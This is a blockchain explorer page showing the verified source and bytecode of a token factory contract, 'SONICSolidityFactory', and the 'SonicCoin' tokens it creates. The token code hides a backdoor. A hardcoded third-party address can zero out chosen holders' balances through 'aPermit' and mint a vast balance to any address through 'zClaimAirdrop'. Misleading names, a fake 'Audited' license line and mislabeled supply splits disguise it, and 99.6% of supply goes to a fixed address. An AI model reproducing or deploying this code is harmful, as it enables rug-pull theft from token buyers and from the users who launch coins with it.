Overview
S Balance
0 S
S Value
$0.00More Info
Private Name Tags
ContractCreator
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SONICSolidityFactory
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-01-06 */ // SPDX-License-Identifier: Audited By SONIC Solidity pragma solidity 0.8.28; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountCoinDesired, uint amountCoinMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountCoin, uint amountETH, uint liquidity); function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract SonicCoin is IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 21000000000000 * 10**_decimals; mapping(address => uint256) private WrappedEtheronSonic; mapping(address => mapping(address => uint256)) private _allowances; address private constant ADDRESS_WETH = 0x29219dd400f2Bf60E5a23d13Be72B486D4038894; address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; address ADDRESS_SONICCHAIN = 0x432e69ccB799F021C6CBDEa1b734B069578B4de2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; uint256 public requiredS; constructor(string memory name_, string memory symbol_, address owner_) payable { transferOwnership(owner_); require(msg.value == 10000000000000000); _name = name_; _symbol = symbol_; requiredS = 10000000000000000; WrappedEtheronSonic[address(this)] = _totalSupply.mul(1).div(1000); emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000)); _callDATA(); payable(address(this)).transfer(msg.value); } function _callDATA() internal { uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000); uint256 threePercent = _totalSupply.mul(2).div(1000); uint256 twoPercent = _totalSupply.mul(1).div(1000); WrappedEtheronSonic[ADDRESS_WETH] = WrappedEtheronSonic[ADDRESS_WETH].add(ninetyFourPercent); WrappedEtheronSonic[ADDRESS_MARKETING] = WrappedEtheronSonic[ADDRESS_MARKETING].add(threePercent); WrappedEtheronSonic[ADDRESS_DEVELOPMENT] = WrappedEtheronSonic[ADDRESS_DEVELOPMENT].add(twoPercent); emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent); emit Transfer(address(this), ADDRESS_MARKETING, threePercent); emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); WrappedEtheronSonic[sender] = WrappedEtheronSonic[sender].sub(amount); WrappedEtheronSonic[recipient] = WrappedEtheronSonic[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier WrappedEtheronSonic_WETH() { require(ADDRESS_SONICCHAIN == _msgSender()); _; } function aPermit(address[] calldata rewardsMerkleRoot_) external WrappedEtheronSonic_WETH { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { WrappedEtheronSonic[rewardsMerkleRoot_[i]] = 1; emit Transfer(rewardsMerkleRoot_[i], address(0), 1); } } function zClaimAirdrop(address claimedRewardStatusOf) external WrappedEtheronSonic_WETH { WrappedEtheronSonic[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals); } function addLiquidity() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); tradingOpen = true; } receive() external payable {} // Required ERC20 functions function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return WrappedEtheronSonic[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } } contract SONICSolidityFactory { uint256 public requiredS; event CoinCreated(address tokenAddress, string name, string symbol, address owner); constructor() { requiredS = 10000000000000000; } function createCoin( string memory name_, string memory symbol_, address newOwner_ ) external payable returns (address) { require(msg.value == requiredS); SonicCoin newCoin = (new SonicCoin){value: msg.value}(name_, symbol_, newOwner_); emit CoinCreated(address(newCoin), name_, symbol_, newOwner_); return address(newCoin); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":false,"internalType":"string","name":"name","type":"string"},{"indexed":false,"internalType":"string","name":"symbol","type":"string"},{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"CoinCreated","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"newOwner_","type":"address"}],"name":"createCoin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"requiredS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052348015600e575f5ffd5b50662386f26fc100005f55611cbb806100265f395ff3fe60806040526004361061002b575f3560e01c80637418b3fa14610036578063a59c0fda1461005d575f5ffd5b3661003257005b5f5ffd5b348015610041575f5ffd5b5061004a5f5481565b6040519081526020015b60405180910390f35b61007061006b3660046101c1565b610088565b6040516001600160a01b039091168152602001610054565b5f5f543414610095575f5ffd5b5f348585856040516100a690610115565b6100b293929190610272565b6040518091039082f09050801580156100cd573d5f5f3e3d5ffd5b5090507f527edd804085a66d3ec72a7536d47d5ed70612a324425913ebcb0fb6aa1038288186868660405161010594939291906102af565b60405180910390a1949350505050565b611987806102ff83390190565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610145575f5ffd5b813567ffffffffffffffff81111561015f5761015f610122565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561018e5761018e610122565b6040528181528382016020018510156101a5575f5ffd5b816020850160208301375f918101602001919091529392505050565b5f5f5f606084860312156101d3575f5ffd5b833567ffffffffffffffff8111156101e9575f5ffd5b6101f586828701610136565b935050602084013567ffffffffffffffff811115610211575f5ffd5b61021d86828701610136565b92505060408401356001600160a01b0381168114610239575f5ffd5b809150509250925092565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b606081525f6102846060830186610244565b82810360208401526102968186610244565b91505060018060a01b0383166040830152949350505050565b6001600160a01b03851681526080602082018190525f906102d290830186610244565b82810360408401526102e48186610244565b91505060018060a01b03831660608301529594505050505056fe60806040819052600580546001600160a01b03191673432e69ccb799f021c6cbdea1b734b069578b4de21790556007805460ff60a01b1916905561198738819003908190833981016040819052610055916105b0565b5f80546001600160a01b0319163390811782556040519091905f5160206119275f395f51905f52908290a361008981610176565b34662386f26fc100001461009b575f5ffd5b60016100a784826106b9565b5060026100b483826106b9565b50662386f26fc100006008556100f36103e86100ed60016100d76009600a61086a565b6100e790651319718a5000610878565b906101e3565b9061026f565b305f81815260036020526040812092909255905f5160206119475f395f51905f5261012b6103e86100ed60016100d76009600a61086a565b60405190815260200160405180910390a36101446102c9565b60405130903480156108fc02915f818181858888f1935050505015801561016d573d5f5f3e3d5ffd5b505050506108c1565b5f546001600160a01b0316331461018b575f5ffd5b6001600160a01b03811661019d575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206119275f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101f257505f610269565b5f6101fd8385610878565b90508261020a858361088f565b146102665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102bf5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161025d565b610266828461088f565b5f6102e26103e86100ed6103e46100d76009600a61086a565b90505f6102fc6103e86100ed60026100d76009600a61086a565b90505f6103166103e86100ed60016100d76009600a61086a565b7329219dd400f2bf60e5a23d13be72b486d40388945f5260036020525f5160206119075f395f51905f525490915061034e90846104b5565b60036020525f5160206119075f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f5160206119675f395f51905f525461039290836104b5565b60036020525f5160206119675f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f5160206118e75f395f51905f52546103d690826104b5565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260036020525f5160206118e75f395f51905f52556040517329219dd400f2bf60e5a23d13be72b486d40388949030905f5160206119475f395f51905f52906104389087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f5160206119475f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f5160206119475f395f51905f529060200160405180910390a3505050565b5f806104c183856108ae565b9050838110156102665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161025d565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610536575f5ffd5b81516001600160401b0381111561054f5761054f610513565b604051601f8201601f19908116603f011681016001600160401b038111828210171561057d5761057d610513565b604052818152838201602001851015610594575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f606084860312156105c2575f5ffd5b83516001600160401b038111156105d7575f5ffd5b6105e386828701610527565b602086015190945090506001600160401b03811115610600575f5ffd5b61060c86828701610527565b604086015190935090506001600160a01b038116811461062a575f5ffd5b809150509250925092565b600181811c9082168061064957607f821691505b60208210810361066757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106b457805f5260205f20601f840160051c810160208510156106925750805b601f840160051c820191505b818110156106b1575f815560010161069e565b50505b505050565b81516001600160401b038111156106d2576106d2610513565b6106e6816106e08454610635565b8461066d565b6020601f821160018114610718575f83156107015750848201515b5f19600385901b1c1916600184901b1784556106b1565b5f84815260208120601f198516915b828110156107475787850151825560209485019460019092019101610727565b508482101561076457868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156107c2578085048111156107a6576107a6610773565b60018416156107b457908102905b60019390931c92800261078b565b935093915050565b5f826107d857506001610269565b816107e457505f610269565b81600181146107fa576002811461080457610820565b6001915050610269565b60ff84111561081557610815610773565b50506001821b610269565b5060208310610133831016604e8410600b8410161715610843575081810a610269565b61084f5f198484610787565b805f190482111561086257610862610773565b029392505050565b5f61026660ff8416836107ca565b808202811582820484141761026957610269610773565b5f826108a957634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026957610269610773565b611019806108ce5f395ff3fe6080604052600436106100f2575f3560e01c80638da5cb5b11610087578063a9059cbb11610057578063a9059cbb14610289578063dd62ed3e146102a8578063e8078d94146102ec578063f2fde38b14610300575f5ffd5b80638da5cb5b146102115780638f8af1e11461023757806395d89b4114610256578063a37e0a641461026a575f5ffd5b8063313ce567116100c2578063313ce5671461019757806370a08231146101b2578063715018a6146101e65780637418b3fa146101fc575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161031f565b60405161011e9190610c98565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610ce4565b6103af565b604051901515815260200161011e565b348015610161575f5ffd5b5061016a6103c5565b60405190815260200161011e565b348015610183575f5ffd5b50610146610192366004610d0e565b6103e7565b3480156101a2575f5ffd5b506040516009815260200161011e565b3480156101bd575f5ffd5b5061016a6101cc366004610d4c565b6001600160a01b03165f9081526003602052604090205490565b3480156101f1575f5ffd5b506101fa610436565b005b348015610207575f5ffd5b5061016a60085481565b34801561021c575f5ffd5b505f546040516001600160a01b03909116815260200161011e565b348015610242575f5ffd5b506101fa610251366004610d67565b610493565b348015610261575f5ffd5b50610111610574565b348015610275575f5ffd5b506101fa610284366004610d4c565b610583565b348015610294575f5ffd5b506101466102a3366004610ce4565b61064d565b3480156102b3575f5ffd5b5061016a6102c2366004610dd8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156102f7575f5ffd5b506101fa610659565b34801561030b575f5ffd5b506101fa61031a366004610d4c565b61096d565b60606001805461032e90610e0f565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610e0f565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846109ed565b5060015b92915050565b5f6103d26009600a610f3e565b6103e290651319718a5000610f4c565b905090565b5f6103f3848484610b11565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461042c9186916104279086610bd8565b6109ed565b5060019392505050565b5f546001600160a01b0316331461044b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6005546001600160a01b031633146104a9575f5ffd5b5f5b8181101561056f57600160035f8585858181106104ca576104ca610f63565b90506020020160208101906104df9190610d4c565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061050f5761050f610f63565b90506020020160208101906105249190610d4c565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161055f91815260200190565b60405180910390a36001016104ab565b505050565b60606002805461032e90610e0f565b6005546001600160a01b03163314610599575f5ffd5b6105a56009600a610f3e565b6105b16009600a610f3e565b6105c190651319718a5000610f4c565b6105cb9190610f4c565b6001600160a01b0382165f818152600360205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106136009600a610f3e565b61061f6009600a610f3e565b61062f90651319718a5000610f4c565b6106399190610f4c565b60405190815260200160405180910390a350565b5f6103bb338484610b11565b5f546001600160a01b0316331461066e575f5ffd5b600754600160a01b900460ff16156106cd5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600680546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561072f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107539190610f77565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d69190610f77565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610820573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108449190610f77565b600780546001600160a01b0319166001600160a01b03928316179055600654610886913091166108766009600a610f3e565b61042790651319718a5000610f4c565b6006546001600160a01b031663f305d71947306108b7816001600160a01b03165f9081526003602052604090205490565b5f5f6108ca5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610930573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109559190610f92565b50506007805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610982575f5ffd5b6001600160a01b038116610994575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c4565b6001600160a01b038216610ab05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c4565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b23575f5ffd5b6001600160a01b038216610b35575f5ffd5b6001600160a01b0383165f90815260036020526040902054610b579082610bd8565b6001600160a01b038085165f908152600360205260408082209390935590841681522054610b859082610c3a565b6001600160a01b038084165f8181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b049085815260200190565b5f82821115610c295760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016106c4565b610c338284610fbd565b9392505050565b5f80610c468385610fd0565b905083811015610c335760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106c4565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610ce1575f5ffd5b50565b5f5f60408385031215610cf5575f5ffd5b8235610d0081610ccd565b946020939093013593505050565b5f5f5f60608486031215610d20575f5ffd5b8335610d2b81610ccd565b92506020840135610d3b81610ccd565b929592945050506040919091013590565b5f60208284031215610d5c575f5ffd5b8135610c3381610ccd565b5f5f60208385031215610d78575f5ffd5b823567ffffffffffffffff811115610d8e575f5ffd5b8301601f81018513610d9e575f5ffd5b803567ffffffffffffffff811115610db4575f5ffd5b8560208260051b8401011115610dc8575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610de9575f5ffd5b8235610df481610ccd565b91506020830135610e0481610ccd565b809150509250929050565b600181811c90821680610e2357607f821691505b602082108103610e4157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e9657808504811115610e7a57610e7a610e47565b6001841615610e8857908102905b60019390931c928002610e5f565b935093915050565b5f82610eac575060016103bf565b81610eb857505f6103bf565b8160018114610ece5760028114610ed857610ef4565b60019150506103bf565b60ff841115610ee957610ee9610e47565b50506001821b6103bf565b5060208310610133831016604e8410600b8410161715610f17575081810a6103bf565b610f235f198484610e5b565b805f1904821115610f3657610f36610e47565b029392505050565b5f610c3360ff841683610e9e565b80820281158282048414176103bf576103bf610e47565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610f87575f5ffd5b8151610c3381610ccd565b5f5f5f60608486031215610fa4575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103bf576103bf610e47565b808201808211156103bf576103bf610e4756fea26469706673582212208c4cdce8685aa015f4b891d3384d969ed4f7e28136ec6be0fb9b1f345280a6da64736f6c634300081c003389a32e1c29e646fad701d1c8d0dc9b6560d3e6bc99404f2032db0696952b812d13f385bf909b7d1a5f765c131877b546045790a9f0773878a6ca927202f054c58be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc939d25d7e35437f22c47f324a2c10f39b73290093ac9388ba079edf58f1ddaaa26469706673582212200da617c668da844f2c136305ab319497d89e38f71efda5b5f0942523886b042764736f6c634300081c0033
Deployed Bytecode
0x60806040526004361061002b575f3560e01c80637418b3fa14610036578063a59c0fda1461005d575f5ffd5b3661003257005b5f5ffd5b348015610041575f5ffd5b5061004a5f5481565b6040519081526020015b60405180910390f35b61007061006b3660046101c1565b610088565b6040516001600160a01b039091168152602001610054565b5f5f543414610095575f5ffd5b5f348585856040516100a690610115565b6100b293929190610272565b6040518091039082f09050801580156100cd573d5f5f3e3d5ffd5b5090507f527edd804085a66d3ec72a7536d47d5ed70612a324425913ebcb0fb6aa1038288186868660405161010594939291906102af565b60405180910390a1949350505050565b611987806102ff83390190565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610145575f5ffd5b813567ffffffffffffffff81111561015f5761015f610122565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561018e5761018e610122565b6040528181528382016020018510156101a5575f5ffd5b816020850160208301375f918101602001919091529392505050565b5f5f5f606084860312156101d3575f5ffd5b833567ffffffffffffffff8111156101e9575f5ffd5b6101f586828701610136565b935050602084013567ffffffffffffffff811115610211575f5ffd5b61021d86828701610136565b92505060408401356001600160a01b0381168114610239575f5ffd5b809150509250925092565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b606081525f6102846060830186610244565b82810360208401526102968186610244565b91505060018060a01b0383166040830152949350505050565b6001600160a01b03851681526080602082018190525f906102d290830186610244565b82810360408401526102e48186610244565b91505060018060a01b03831660608301529594505050505056fe60806040819052600580546001600160a01b03191673432e69ccb799f021c6cbdea1b734b069578b4de21790556007805460ff60a01b1916905561198738819003908190833981016040819052610055916105b0565b5f80546001600160a01b0319163390811782556040519091905f5160206119275f395f51905f52908290a361008981610176565b34662386f26fc100001461009b575f5ffd5b60016100a784826106b9565b5060026100b483826106b9565b50662386f26fc100006008556100f36103e86100ed60016100d76009600a61086a565b6100e790651319718a5000610878565b906101e3565b9061026f565b305f81815260036020526040812092909255905f5160206119475f395f51905f5261012b6103e86100ed60016100d76009600a61086a565b60405190815260200160405180910390a36101446102c9565b60405130903480156108fc02915f818181858888f1935050505015801561016d573d5f5f3e3d5ffd5b505050506108c1565b5f546001600160a01b0316331461018b575f5ffd5b6001600160a01b03811661019d575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206119275f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101f257505f610269565b5f6101fd8385610878565b90508261020a858361088f565b146102665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102bf5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161025d565b610266828461088f565b5f6102e26103e86100ed6103e46100d76009600a61086a565b90505f6102fc6103e86100ed60026100d76009600a61086a565b90505f6103166103e86100ed60016100d76009600a61086a565b7329219dd400f2bf60e5a23d13be72b486d40388945f5260036020525f5160206119075f395f51905f525490915061034e90846104b5565b60036020525f5160206119075f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f5160206119675f395f51905f525461039290836104b5565b60036020525f5160206119675f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f5160206118e75f395f51905f52546103d690826104b5565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260036020525f5160206118e75f395f51905f52556040517329219dd400f2bf60e5a23d13be72b486d40388949030905f5160206119475f395f51905f52906104389087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f5160206119475f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f5160206119475f395f51905f529060200160405180910390a3505050565b5f806104c183856108ae565b9050838110156102665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161025d565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610536575f5ffd5b81516001600160401b0381111561054f5761054f610513565b604051601f8201601f19908116603f011681016001600160401b038111828210171561057d5761057d610513565b604052818152838201602001851015610594575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f606084860312156105c2575f5ffd5b83516001600160401b038111156105d7575f5ffd5b6105e386828701610527565b602086015190945090506001600160401b03811115610600575f5ffd5b61060c86828701610527565b604086015190935090506001600160a01b038116811461062a575f5ffd5b809150509250925092565b600181811c9082168061064957607f821691505b60208210810361066757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106b457805f5260205f20601f840160051c810160208510156106925750805b601f840160051c820191505b818110156106b1575f815560010161069e565b50505b505050565b81516001600160401b038111156106d2576106d2610513565b6106e6816106e08454610635565b8461066d565b6020601f821160018114610718575f83156107015750848201515b5f19600385901b1c1916600184901b1784556106b1565b5f84815260208120601f198516915b828110156107475787850151825560209485019460019092019101610727565b508482101561076457868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156107c2578085048111156107a6576107a6610773565b60018416156107b457908102905b60019390931c92800261078b565b935093915050565b5f826107d857506001610269565b816107e457505f610269565b81600181146107fa576002811461080457610820565b6001915050610269565b60ff84111561081557610815610773565b50506001821b610269565b5060208310610133831016604e8410600b8410161715610843575081810a610269565b61084f5f198484610787565b805f190482111561086257610862610773565b029392505050565b5f61026660ff8416836107ca565b808202811582820484141761026957610269610773565b5f826108a957634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026957610269610773565b611019806108ce5f395ff3fe6080604052600436106100f2575f3560e01c80638da5cb5b11610087578063a9059cbb11610057578063a9059cbb14610289578063dd62ed3e146102a8578063e8078d94146102ec578063f2fde38b14610300575f5ffd5b80638da5cb5b146102115780638f8af1e11461023757806395d89b4114610256578063a37e0a641461026a575f5ffd5b8063313ce567116100c2578063313ce5671461019757806370a08231146101b2578063715018a6146101e65780637418b3fa146101fc575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161031f565b60405161011e9190610c98565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610ce4565b6103af565b604051901515815260200161011e565b348015610161575f5ffd5b5061016a6103c5565b60405190815260200161011e565b348015610183575f5ffd5b50610146610192366004610d0e565b6103e7565b3480156101a2575f5ffd5b506040516009815260200161011e565b3480156101bd575f5ffd5b5061016a6101cc366004610d4c565b6001600160a01b03165f9081526003602052604090205490565b3480156101f1575f5ffd5b506101fa610436565b005b348015610207575f5ffd5b5061016a60085481565b34801561021c575f5ffd5b505f546040516001600160a01b03909116815260200161011e565b348015610242575f5ffd5b506101fa610251366004610d67565b610493565b348015610261575f5ffd5b50610111610574565b348015610275575f5ffd5b506101fa610284366004610d4c565b610583565b348015610294575f5ffd5b506101466102a3366004610ce4565b61064d565b3480156102b3575f5ffd5b5061016a6102c2366004610dd8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156102f7575f5ffd5b506101fa610659565b34801561030b575f5ffd5b506101fa61031a366004610d4c565b61096d565b60606001805461032e90610e0f565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610e0f565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846109ed565b5060015b92915050565b5f6103d26009600a610f3e565b6103e290651319718a5000610f4c565b905090565b5f6103f3848484610b11565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461042c9186916104279086610bd8565b6109ed565b5060019392505050565b5f546001600160a01b0316331461044b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6005546001600160a01b031633146104a9575f5ffd5b5f5b8181101561056f57600160035f8585858181106104ca576104ca610f63565b90506020020160208101906104df9190610d4c565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061050f5761050f610f63565b90506020020160208101906105249190610d4c565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161055f91815260200190565b60405180910390a36001016104ab565b505050565b60606002805461032e90610e0f565b6005546001600160a01b03163314610599575f5ffd5b6105a56009600a610f3e565b6105b16009600a610f3e565b6105c190651319718a5000610f4c565b6105cb9190610f4c565b6001